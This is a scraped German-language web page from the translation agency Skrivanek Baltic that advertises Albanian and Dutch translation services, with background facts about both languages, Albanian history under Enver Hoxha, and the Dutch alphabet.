Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE ALBANISCHE SPRACHE UND ALBANIEN Das Leben in Albanien unterscheidet sich von dem üblichen europäischen Lebensstil, bei dem jeder damit beschäftigt ist, irgendetwas zu erreichen und die ganze Zeit beschäftigt zu sein. Die Albaner leben langsam und friedlich und kümmern sich nicht um die kleinen Dinge des Lebens. Es ist ein Land, in dem Einfachheit und eigene Regeln herrschen, mit dem Ziel, das Leben für sich selbst angenehmer zu gestalten. Albanien folgt keinen festen Grundsätzen - es hat über die Jahrhunderte gelebt und sich über nichts beschwert. Albanien, mit seiner alten und komplexen Geschichte, unberührter Natur - felsigen Hängen, türkisblauem Meer, Seen, Flüssen und Wäldern - ist eines der schönsten Länder Europas. Die Gastfreundschaft und Herzlichkeit der Einheimischen macht den südlichen Charme dieses Landes aus. Ältere Albaner sind so stolz auf ihr Land und seine uralten Traditionen, dass sie sogar täglich in Tracht herumlaufen könnten. Die albanische Sprache ist einzigartig. In keinem anderen Land werden Sie eine Ähnlichkeit feststellen können,denn es gibt keine ähnlichen Wörter in anderen Sprachen. Dies ist ein Land der großen Kontraste, in dem sich das Einfache mit dem Subtilen, dem Spirituellen und dem Geheimnisvollen vermischt. Albanisch ist eine isolierte indogermanische Sprache und es wurde viel über ihren Platz in der indogermanischen Sprachfamilie diskutiert. Von wo genau die Albaner und ihre Sprache kommen ist bis heute noch unklar. Laut einigen Sprachforschern stammt das Albanische von der illyrischen Sprache, einer der ältesten Sprachen der Balkanhalbinsel. Viele Studien haben jedoch gezeigt, dass die illyrische Sprache viele Ähnlichkeiten mit rumänischen und keltischen Sprache aufweist. Phonologisch und morphologisch ähnelt das Albanische jedoch eher den slawischen, indoiranischen und armenischen Sprachen. Dass Albanisch aus dakischen oder sogar thrakischen Sprachen hervorgegangen sein könnte, ist ebenfalls möglich. Die Zeit des Römischen Reiches vom 2. bis 4. Jahrhundert v. Chr. sowie die slawische Kolonisation vom 6. bis 7. Jahrhundert, der byzantinische Einfluss und die Eingliederung eines Teils des ethnischen Territoriums in die bulgarisch und serbisch verwalteten Gebiete sowie der Kampf um die vorherrschende Konfrontation zwischen der katholischen und der orthodoxen Kirche haben ihre Spuren in der albanischen Sprache hinterlassen. Albanisch ist die Amtssprache in Albanien und im Kosovo und eine der Amtssprachen in Nordmazedonien und Montenegro. Die albanische Sprache hat 2 Dialekte - den gegische Dialekt, der im Norden Albaniens und im Kosovo gesprochen wird, und den toskische Dialekt im Süden Albaniens. Sie unterscheiden sich vor allem in der Phonetik, aber die Sprecher können einander ohne Schwierigkeiten verstehen. 80% der albanischen Literatursprache basiert auf dem toskischen Dialekt. Seit dem Mittelalter sprechen die Albaner, die im Süden Italiens leben, die Sprache Arbëreshë und in Griechenland wird Arvanitika gesprochen. Die offizielle Aufsichtsbehörde für die albanische Sprache ist die Abteilung für Sozialwissenschaften der Akademie der Wissenschaften von Albanien. Die einzige Albanerin, die einen Nobelpreis erhalten hat, ist Mutter Teresa. Von 1941 bis 1992 war in Albanien unter dem kommunistischen Regime jegliche Religion verboten. Damit war Albanien das erste atheistische Land der Welt. In Albanien gibt es keine McDonald's-Restaurants, aber es gibt eine ähnliche Fast-Food-Kette namens Kolonat. Jeden Abend gibt es in den albanischen Dörfern und Städten eine interessante Aktivität, der Verkehr wird eingestellt und alle gehen spazieren, um die Kalorien vom Abendessen zu verbrennen. Dieser Abendspaziergang hat sogar einen besonderen Namen - xhiro. Die Albaner nennen ihr Land nicht Albanien, sondern Shqipëria (Land der Adler). Eine der überraschendsten Fakten über Albanien ist, dass das Land 3 Millionen Einwohner hat, aber mindestens 7 Millionen Albaner außerhalb der Landesgrenzen leben. Der Hauptgrund für die Auswanderung, die Anfang der 1990er Jahre begann, war die hohe Arbeitslosigkeit in Albanien. Bis 1991 kamen in Albanien auf 3 Millionen Einwohner nur 3. 000 Autos. Unter dem kommunistischen Regime war es nur Parteimitgliedern erlaubt, ein Auto zu besitzen. 1995 führte die albanische Regierung eine Ampelsteuer ein, aber die Autofahrer in Skadar weigerten sich, sie zu bezahlen, weil es für sie einfach nur absurd war. Der Grund: Es gibt keine Ampeln in Skadar! Seit dem 15. Jahrhundert haben die Albaner einen Ehrenkodex namens Besa. Es bedeutet, ein Versprechen zu halten. Besa ist eine der wichtigsten Wurzeln der albanischen Kultur. Die Albaner sind unglaublich abergläubisch. An jeder Ecke lauert etwas, was zukünftige Ereignisse prophezeien könnte. Wenn ein Mann in Albanien zum Friseur geht, darf er sich nicht wundern, wenn er nach dem Haareschneiden einen Klaps auf den Kopf bekommt. Für Albaner ist es nur eine freundliche Geste, so wie jemandem Gesundheit zu wünschen. DAS ALBANISCHE ALPHABET Von den frühesten bekannten Schriften aus dem 14. Jahrhundert ist bekannt, dass Albanisch in vielen verschiedenen Alphabeten geschrieben wurde. Die frühesten schriftlichen albanischen Texte stammen aus der Region Gheg und stammen vom Italienischen oder Griechischen. Ursprünglich wurde der toskische Dialekt mit dem griechischen und der gegische Dialekt mit der lateinischen Alphabet geschrieben. Beide Dialekte wurden auch in dem im Osmanischen Reich gebräuchlichen türkisch-arabischen Alphabet, in Kyrillisch und in einigen lokalen Alphabeten geschrieben. Schriftsteller aus dem katholisch geprägtem Nordalbanien verwendeten lateinische Buchstaben, diejenigen aus dem griechisch-orthodox geprägtem Südalbanien griechische Buchstaben und das übrige islamisch geprägte Albanien verwendete arabische Buchstaben. Zwischen 1750 und 1850 wollte man erstmals ein eigenes albanisches Alphabet schaffen. Dieses Jahrhundert in Albanien war eine Zeit der erstaunlich orthografischen Vielfalt. In dieser Zeit wurde das Albanische in mindestens zehn verschiedenen Alphabeten geschrieben, ein Rekord für eine europäische Sprache. Das heutige Albanische Alphabet benutzt 36 lateinische Buchstaben (7 Vokale und 29 Konsonanten). Dies ist eine der beiden Versionen, die auf dem von albanischen Intellektuellen im November 1908 organisierten Kongress in Monastir angenommen wurden. Die Buchstaben ë und ç sowie zehn Digraphen (dh, th, xh, gj, nj, ng, ll, rr, zh und sh) wurden dem lateinischen Alphabet hinzugefügt. Im albanischen Alphabet gibt es den Buchstaben W nicht. WIE SCHWIERIG IST ALBANISCH? Die Schwierigkeit oder Leichtigkeit des Erlernens einer bestimmten Sprache wird von Faktoren wie der Verfügbarkeit von Lernressourcen, der Erfahrung des Lernenden mit der Sprache, der Muttersprache des Lernenden und den spezifischen Merkmalen der Fremdsprache - grammatikalische Struktur, Aussprache, Alphabet usw. - beeinflusst. Sprachen mit komplexen grammatikalischen Strukturen gelten oft als schwierig und Albanisch ist eine davon. Albanisch wird zusammen mit Ungarisch, Ukrainisch, Hindi, Malaiisch und anderen als Sprache der Stufe 2 eingestuft. Diese Klassifizierung zeigt, dass Albanisch schwer zu Erlernen ist. Es ist nicht so schwierig zu lernen wie Arabisch oder Chinesisch, aber auch nicht so einfach wie Schwedisch, Portugiesisch oder Spanisch. Im Vergleich zu anderen Sprachen derselben Kategorie ist Albanisch relativ einfach. WO UND WIE VIELE MENSCHEN SPRECHEN ALBANISCH? Weltweit gibt es etwa 8 bis 10 Millionen Albanischsprecher. Eine relativ kleine Zahl, etwa 3 Millionen, lebt in Albanien und im Kosovo etwa 2,2 Millionen. Auch in Nordmazedonien und Griechenland gibt es eine relativ große Zahl albanischsprachiger Menschen. Die albanische Migration aus Albanien geht auf das 15. Jahrhundert zurück. Interessanterweise ist die albanische Minderheit deutlich größer als die Bevölkerung des Landes selbst. Die größten albanischen Minderheiten befinden sich in Italien, Argentinien, Rumänien, Kroatien, der Türkei, Skandinavien, Deutschland, der Schweiz und den USA. Weitere wichtige Gemeinschaften befinden sich in Australien, Brasilien, Kanada, Frankreich, Belgien, Neuseeland und im Vereinigten Königreich. Die albanische Diaspora wächst aufgrund der hohen Arbeitslosigkeit im Land weiter an. DOLMETSCHER UND ÜBERSETZER FÜR DIE ALBANISCHE SPRACHE Das albanische Übersetzer- und Dolmetscherteam von Skrivanek Baltic arbeitet mit albanischen Übersetzungen von Standarddokumenten, komplexen technischen Übersetzungen und beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek bietet auch das Korrekturlesen und die stilistische Verbesserung von Texten in albanischer Sprache sowie die Erstellung von SEO-Inhalten, die an den albanischen Markt und Mentalität angepasst sind. Unsere Sprachexperten informieren Sie gerne über kulturelle Unterschiede, Geschäftsetikette, albanische Geschichte und Traditionen. Für Geschäftskunden übersetzen wir vor allem folgende Themen aus dem und ins Albanische: Inhalte von Websites und E-Commerce, Adaption von Werbeslogans, Kooperationsvereinbarungen, Gesetze, Gerichtsurteile und Geschäftsunterlagen. Wir bieten auch Konsekutivdolmetschen für geschäftliche oder andere Treffen, Konferenzen und andere Veranstaltungen, online auf Zoom und anderen Online-Plattformen. Für Privatpersonen übersetzen wir Ausweisdokumente, Heiratsurkunden, Geburtsurkunden von Kindern, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. aus dem Albanischen und ins Albanische. ALBANISCHE SPRACHE IN DER GESCHÄFTSWELT In Albanien sprechen die meisten öffentlichen Bediensteten Englisch oder eine andere europäische Sprache, z. B. Französisch, Italienisch, Deutsch oder Griechisch. Leider ist dies in der Privatwirtschaft nicht immer der Fall; albanische Unternehmer ziehen es vor, ihre Muttersprache zu sprechen, auch wenn sie mindestens eine Fremdsprache beherrschen, meist Englisch und Italienisch. Dolmetscher werden bei allen Arten von Treffen eingesetzt, manchmal auch als Assistenten oder Sekretäre des albanischen Gastgebers. Verträge werden in Albanien entweder mündlich und/ oder schriftlich geschlossen. Die Albaner mögen keinen Papierkram und versuchen, die Dinge einfach zu halten. In Privatunternehmen kann ein und dieselbe Person Geschäftsführer, Sekretärin, Buchhalter und Fahrer sein. Die meisten jungen Albaner (unter 35 Jahren) sprechen fließend Englisch und oft auch andere Sprachen, vor allem Italienisch. Albanisch wird außerhalb Albaniens nicht als Geschäftssprache verwendet, aber es ist wichtig, es auf einem Anfängerniveau zu beherrschen, wenn Sie die Möglichkeit und den Wunsch haben, Ihr Geschäft in Albanien auszubauen. ENVER HOXHA Wir wissen relativ wenig über Albanien, aber das Interesse an diesem Land wächst weiter, sowohl kulturell als auch touristisch. Wenn man durch Albanien reist, begegnet man auf Schritt und Tritt „Ethnien der Herrschaft von Enver Hoxha in der albanischen Politik, Architektur, dem Denken der Menschen, der Religion und der Geschichte“. Wer war dieser Enver Hoxha? Enver Hoxha war der Gründer und Führer der Volksrepublik Albanien und Sekretär der Albanischen Arbeiterpartei. Er war von 1944 bis 1954 Ministerpräsident von Albanien und von 1946 bis 1953 Außenminister. Hoxha isolierte das Land wirtschaftlich vom Rest Europas, verbot alle Religionen und bewachte das Volk sehr stark mit staatlichen Kontrollen. Wenn man sich in Albanien umschaut, stellt man fest, dass sich die Albaner zu Hoxhas Zeiten in vielen Bereichen von Nordkorea inspirieren ließen. Die Gründe dafür liegen, wie sich herausstellt, in der tiefen Verehrung von Diktatur und Protektionismus, die der große Enver Hoxha, der nach dem Zweiten Weltkrieg bis Mitte der 1980er Jahre regierte, dem Volk über viele Jahrzehnte hinweg beibrachte. Während seiner Herrschaft zerstörte Hoxha schrittweise alle diplomatischen und wirtschaftlichen Beziehungen zwischen Albanien und der Sowjetunion, China und den jugoslawischen Republiken. Am Ende seiner Ära, die mit seinem Tod im Jahr 1985 zusammenfiel, hatte Hoxha Albanien also vollständig von der übrigen Welt isoliert. Sie kannte weder den kommunistischen Osten noch den kapitalistischen Westen. Obwohl 1991 die ersten Mehrparteienwahlen stattfanden, stimmte die Bevölkerung aus Angst mit überwältigender Mehrheit für die Kommunistische Partei. Erst Jahre später begannen sich Mehrparteienkoalitionen zu bilden. Jahrzehntelang versuchte der Diktator Hoxha die Menschen davon zu überzeugen, dass sie in einem der am weitesten entwickelten und glücklichsten Länder der Welt lebten. Der Staat mischte sich in alle möglichen Aspekte des Lebens der Menschen ein, auch in ihr Privatleben. Die Einmischung erfolgte in Form absurder Verbote - keine religiösen Rituale, keine Katzen oder Hunde, keine Telefonate ins Ausland, keine privaten Autos, keine Bärte usw. Sogar die Bahngleise sollen an der Grenze geendet haben. Wenig war erlaubt, aber das, was erlaubt war, war in der Tat obligatorisch. Hoxha war für seine starken politischen Ansichten bekannt, welche er auch in die Tat umsetzte. So bezeichnete er beispielsweise Albanien als das erste atheistische Land der Welt. Offizielle Zahlen zeigen, dass die Mehrheit der Bevölkerung islamisch ist, aber in Wirklichkeit üben nur etwa 5 % dieser Gläubigen ihre Religion aus. Tatsächlich ist Albanien unter dem Einfluss von Hoxha heute eine der wenigen Ausnahmen in der Welt, in der verschiedene Religionen friedlich koexistieren und sogar die Entscheidungen ihrer Nachbarn unterstützen. In den 1970er und 1980er Jahren ordnete Hoxha den Bau von Bunkern in ganz Albanien an, da er territoriale Streitigkeiten mit seinen Nachbarn und eine paranoide Angst vor ungerechtfertigten Angriffsdrohungen hatte. 222. 000 Bunker waren geplant, aber nur etwa 174. 000 wurden gebaut. Beim Bau der Bunker kamen viele Arbeiter ums Leben, weshalb an den Bunkern Gedenktafeln angebracht sind, die an sie erinnern. In Albanien gibt es überall große und kleine Bunker und ist definitiv das Land mit den meisten Bunkern der Welt. Wenn man die albanische Grenze überquert, hat man das Gefühl, in einer geheimen Militäreinrichtung oder an einem Filmset in Hollywood angekommen zu sein, wo ein Kriegsfilm gedreht wird. Überall ragen diese seltsamen architektonischen Formen aus dem Boden. In den Städten sind sie natürlich nicht so sichtbar, aber die Grenzwiesen sind buchstäblich mit ihnen übersät. Bunker wurden auch an Straßenrändern, in Hinterhöfen, Gärten und Parks gebaut - überall dort, wo der Feind plötzlich auftauchen könnte. Statistiken zufolge gibt es in Albanien etwa 24 Bunker pro Quadratkilometer. Es ist sowohl lächerlich als auch tragisch, denn dieses völlig sinnlose Bunkerprogramm schwächte die Wirtschaft des Landes durch die Verschwendung riesiger Ressourcen, an denen es dem Land jahrzehntelang so sehr gemangelt hatte - die Menschen lebten in unvorstellbarer Entbehrung und bekamen für kurze Zeit nur dreimal am Tag Strom. Erst nach 1990 gab der Staat die Wartung des Bunkersystems auf. Einige der Bunker werden heute als Schuppen, Lagerräume oder sonstige Nutzräume genutzt, einige wurden zu Straßencafés umgebaut, aber viele sind einfach verlassen. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ALBANISCHE: allgemeine und fachliche Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierungen; neuronale maschinelle Übersetzungen; DTP - Desktop Publishing; Textanpassung und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SPRACHKOMBINATIONEN: Lettisch nach Albanisch; Albanisch nach Lettisch; Estnisch nach Albanisch; Estnisch nach Estnisch; Litauisch nach Albanisch; Albanisch nach Litauisch; Russisch nach Albanisch; Albanisch nach Russisch; Tschechisch nach Albanisch; Albanisch nach Tschechisch; Polnisch nach Albanisch; Albanisch nach Polnisch; Ukrainisch nach Albanisch; Albanisch nach Ukrainisch; Albanisch nach Spanisch; Spanisch nach Albanisch; Deutsch nach Albanisch; Albanisch nach Deutsch; Italienisch nach Albanisch; Albanisch nach Italienisch; Französisch nach Albanisch; Albanisch nach Französisch; Dänisch nach Albanisch; Albanisch nach Dänisch; Norwegisch nach Albanisch; Albanisch nach Norwegisch; Schwedisch nach Albanisch; Albanisch nach Schwedisch; Finnisch nach Albanisch; Albanisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ALBANISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Albanisch; Albanisch nach Lettisch; Estnisch nach Albanisch; Estnisch nach Estnisch; Litauisch nach Albanisch; Albanisch nach Litauisch; Russisch nach Albanisch; Albanisch nach Russisch; Tschechisch nach Albanisch; Albanisch nach Tschechisch; Polnisch nach Albanisch; Albanisch nach Polnisch; Ukrainisch nach Albanisch; Albanisch nach Ukrainisch; Albanisch nach Spanisch; Spanisch nach Albanisch; Deutsch nach Albanisch; Albanisch nach Deutsch; Italienisch nach Albanisch; Albanisch nach Italienisch; Französisch nach Albanisch; Albanisch nach Französisch; Dänisch nach Albanisch; Albanisch nach Dänisch; Norwegisch nach Albanisch; Albanisch nach Norwegisch; Schwedisch nach Albanisch; Albanisch nach Schwedisch; Finnisch nach Albanisch; Albanisch nach Finnisch und andere. --- > Übersetzungen und andere Sprachdienstleistungen in niederländischer Sprache. Mehr als 25 Jahre Erfahrung. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS NIEDERLÄNDISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS NIEDERLÄNDISCHE? Der Preis für die Übersetzung aus dem/ ins Niederländische wird individuell berechnet. Er wird aus mehreren Faktoren berechnet, die von den Wünschen und Bedürfnissen des Kunden abhängen. Der Preis für das Konsekutivdolmetschen wird nach der Lieferzeit und der Sprachkombination, in der die Übersetzung benötigt wird, berechnet. Der Preis für eine schriftliche Übersetzung richtet sich nach dem Umfang des Übersetzungsmaterials, den Abgabefristen, der Besonderheit des Textinhalts, der Wortwiederholungen, der grafischen Bearbeitung, der Textformatierung, der Korrektur und den sonstigen vom Kunden gewählten Leistungen, einschließlich der notariellen Beglaubigung und anderer Leistungen. GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen und Dolmetschen (simultan und konsekutiv) aus dem und ins Niederländische ist in unseren Kundenverträgen enthalten. Vor Auftragsbeginn unterbreiten wir stets einen detaillierten Preis für die Übersetzung. Der Preis für jeden Auftrag wird individuell nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, den Wortwiederholungen in der Übersetzung und anderen Aspekten. Um für Sie einen Preis zu erstellen, senden Sie uns Ihr zu übersetzendes Material und unsere Projektmanager werden sich mit Ihnen in Verbindung setzen, um den passenden Preis zu vereinbaren. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Niederländische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in niederländischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Niederländisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE NIEDERLÄNDISCHE SPRACHE Die verbotenen Freuden von Amsterdam, Tulpen, Windmühlen und die größten Menschen der Welt - das kommt uns als erstes in den Sinn, wenn wir an die Niederlande denken. Niederländisch, in den Niederlanden Niederländisch und in Belgien Flämisch genannt, ist eine westgermanische Sprache und die Muttersprache von rund 23 Millionen Menschen in den Niederlanden, Belgien, Suriname, Aruba und den ehemaligen Niederländischen Antillen. Es ist eng mit anderen westgermanischen Sprachen verwandt, also mit Englisch, Westfriesisch und Hochdeutsch. Afrikaans hat sich aus dem Niederländischen entwickelt und gilt heute als eigenständige Sprache. Niederländisch ist Amtssprache in den Niederlanden. Auch in Belgien ist es Amtssprache. In Südamerika ist Niederländisch nach wie vor die Amtssprache von Suriname. Es ist auch Amtssprache in Aruba, Curaçao und Sint Maarten in der Karibik. Natürlich ist Niederländisch eine der Amtssprachen der Europäischen Union und der Union der Südamerikanischen Nationen. Niederländisch steht auf dem siebten Platz der meistgesprochenen Sprachen Europas. Es ist eine westgermanische Sprache und hat viele Gemeinsamkeiten mit dem Deutschen, dem Englischen, aber auch mit dem Dänischen und dem Schwedischen. Daher ist es für diejenigen, die bereits Deutsch können, einfacher, Niederländisch zu lernen. Niederländisch ist die 56. meistgesprochene Sprache der Welt. In einigen Quellen wird die niederländische Sprache als der niederländische Dialekt bezeichnet, der von der Bevölkerung in Flandern gesprochen wird, während sie als flämische Sprache bezeichnet wird. Die ersten Worte im Niederländischen stammen aus dem 12. Jahrhundert. Man nimmt an, dass ein Gedicht auf ein Stück Papier das erste schriftliche Zeugnis des Niederländischen ist, wahrscheinlich entstanden im 12. Jahrhundert. Dieser berühmteste Text im Altniederländischen heißt Hebban olla vogala nestas hagunnan, hinase hic enda tu, wat unbidan we nu („Alle Vögel bauen sich ein Nest, nur du und ich nicht. Worauf warten wir nun? “). Das Manuskript stammt aus der Zeit um 1100 und wurde von einem flämischen Mönch in der Abtei von Rochester (England, Kent) niedergeschrieben. Heutzutage wird dieses Manuskript in Oxford aufbewahrt. Niederländische Wörter haben viele Konsonanten. Auch wenn das Niederländische nicht schwer zu Erlernen ist, birgt sie einige Tücken. Viele Wörter sind ziemlich raffiniert und wirken wie Zungenbrecher, weil sie mehrere Konsonanten hintereinander enthalten. So hat beispielsweise das Wort angstschreeuw, das „Angstschrei“ bedeutet, acht Konsonanten, während das Wort slechtstschrijvend, das „schlechteste Schrift“ bedeutet, neun hat usw. Das Wort gezellig hat in keiner anderen Sprache eine entsprechende Übersetzung. Es ist eines der am häufigsten verwendeten Wörter im Niederländischen, hat jedoch weder im Englischen noch in vielen anderen Sprachen eine wörtliche Übersetzung. Er wird hauptsächlich für alles verwendet, was ein Gefühl von Behaglichkeit, Vergnügen oder Wohlbefinden hervorruft. Zum Beispiel: „Ich hatte einen wirklich schönen Abend und saß gezelling am Feuer. “ Substantive im Niederländischen haben keine Fälle. Das längste Wort im Niederländischen hat 60 Buchstaben. Das Wort Kindercarnavalsoptochtvoorbereidingswerkzaamhedencomitéleden hat unglaubliche 60 Buchstaben und bezieht sich auf Gefährten, die an den Vorbereitungsaktivitäten des Kinderkarnevalszuges teilnehmen. Es wurde im Guinness-Buch der Rekorde 2011 als das längste Wort auf Niederländisch aufgeführt. Die Niederländer schreiben die Wörter gerne ohne Leerzeichen, wie in diesem Beispiel zu sehen ist. Südafrikaner und Niederländer können einander verstehen. Afrikaans, eine der Sprachen Südafrikas, leitet sich vom Niederländischen ab, das von den niederländischen Kolonisten gesprochen wurde. Beide Sprachen sind für die Sprecher der jeweils anderen Sprache noch mehr oder weniger verständlich. Niederländer können eher Afrikaans verstehen als umgekehrt. Nicht nur die Letten, auch die Niederländer verwenden gerne Diminutive. In vielen Sprachen gibt es Diminutive. Das sind Wörter oder Wortendungen, die Zuneigung oder eine Form der Verkleinerung ausdrücken sollen. Diminutive werden im Niederländischen häufig verwendet. Sie verwenden das Suffix je (oder eine Variante davon), um alle Arten von Substantiven und Adverbien zu verkleinern. Im Niederländischen werden Diminutive nicht nur verwendet, um Größe oder Zuneigung zu zeigen, sondern auch, um nicht zählbare Substantive zählbar zu machen. Zum Beispiel bedeutet bier „Bier“, aber biertje ist „ein Glas Bier“. Bei der Übersetzung eines Textes aus dem Englischen oder einer anderen Sprache ins Niederländische erhöht sich der Umfang des übersetzten Textes um mindestens 35 %, da lange zusammengesetzte Wörter, die im Niederländischen üblich sind, verwendet werden. Dies ist sehr wichtig bei der Erstellung von Inhalten für das digitale Marketing oder von Schlüsselwörtern für Google Ads. Französisch ist tief in der niederländischen Sprache verwurzelt - die meisten niederländischen Wörter sind direkt aus dem Französischen übernommen worden. Im Wörterbuch der modernen lettischen Sprache finden wir beide Begriffe - holländische und niederländische Sprache. Um die einheitliche und korrekte Verwendung von Sprachnamen zu fördern, wurde auf der Sitzung des Staatlichen Sprachenzentrums am 29. Mai 2006 bei der Bewertung der Namen von Sprachen und Sprachgruppen im Lettischen bestätigt, dass die korrekte Form für die Bezeichnung der Sprache Holländisch ist. DAS NIEDERLÄNDISCHE ALPHABET Schon seit Beginn ihrer Schriftsprache haben die Niederländer das lateinische Alphabet verwendet. Das niederländische Alphabet besteht aus 26 lateinischen Standardbuchstaben (außerdem wird die Ligatur „IJ“ hinzugefügt, die oft den Buchstaben „Y“ ersetzt). An diakritischen Zeichen werden im Niederländischen das Betonungszeichen, die Diäresis, das Apostroph und die (selten verwendeten) Makronen, die die Vokale langziehen, verwendet. Der fünfundzwanzigste Buchstabe im niederländischen Alphabet verwirrt viele Menschen. Manchmal wird dieser Buchstabe als „Y“ und manchmal als „IJ“ geschrieben. Die Buchstabenkombination aus „i“ und „j“ im Niederländischen ergibt einen Vokal, der ähnlich klingt wie das „i“ im englischen Wort „hi“. Im Niederländischen gilt „ij“ als ein Buchstabe, der immer dann groß geschrieben wird, wenn das Wort, das mit „ij“ beginnt, am Anfang eines Satzes steht oder wenn es der erste Buchstabe eines Eigennamens ist. Es fällt auf, dass der Buchstabe „y“ in ursprünglichen niederländischen Wörtern nicht vorkommt, sondern nur in Lehnwörtern aus anderen Sprachen, z. B. Baby, Derby. So werden im Niederländischen lange Vokale gebildet: Zwei identische Vokale, die nebeneinander geschrieben werden, oder Verdoppelung eines Vokals Vokalkombinationen: Wenn zwei (oder mehr) nebeneinander liegende Vokale als ein Vokal ausgesprochen werden Vokale, die offene Silben haben. Eine Silbe gilt als offen, wenn sie mit einem Vokal endet. Alle Vokale, außer „y“, können entweder lang oder kurz sein. Das lange wird mit einer „i+e“-Vokalkombination gebildet, die sich von den übrigen Vokalen unterscheidet, wenn derselbe Vokal verdoppelt wird, um die Verlängerung zu betonen. Vokalkombinationen bestehen in der Regel aus zwei oder drei verschiedenen Vokalen, die meist als ein Vokal ausgesprochen werden. Bei der Silbentrennung werden Vokalkombinationen als separate Silben unterteilt, gemeinsam mit einem oder mehr Konsonanten daneben. Im Niederländischen gibt es 16 Vokalkombinationen. Bei einigen dieser Kombinationen werden die einzelnen Vokale perfekt zu einem, bei anderen ist es nicht so passend. Das Wichtigste dabei ist, dass alle 16 Kombinationen konstant sind. Im Grunde müssen alle Buchstabenkombinationen auswendig gelernt werden. Und denken Sie daran: Wenn zwei Vokale hintereinander keine konstante Vokalkombination bilden, dann bilden diese Vokale (zusammen mit einem oder mehreren Konsonanten) zwei getrennte Silben. Die konstanten Vokalkombinationen im Niederländischen lauten: aai, ae, ai, au, eeu(w), ei, eu, ie, ieu (w), ij, oe, ou, oi, ooi, oei und ui. Im Niederländischen hat der Buchstabe „e“ zwei besondere Merkmale, die ihn von anderen Vokalen unterscheiden. Die Eigenschaften des Buchstabens „e“: Wenn der Buchstabe „e“ nicht betont wird, bleibt er stumm. Die Verdoppelung des Vokals „e“ oder „ee“ ist die einzige Vokalverdoppelung, die am Ende eines Wortes stehen kann. Die Aussprache der Konsonanten ist praktisch dieselbe wie im Englischen: b, c, d, f, h, k, l, m, n, p, 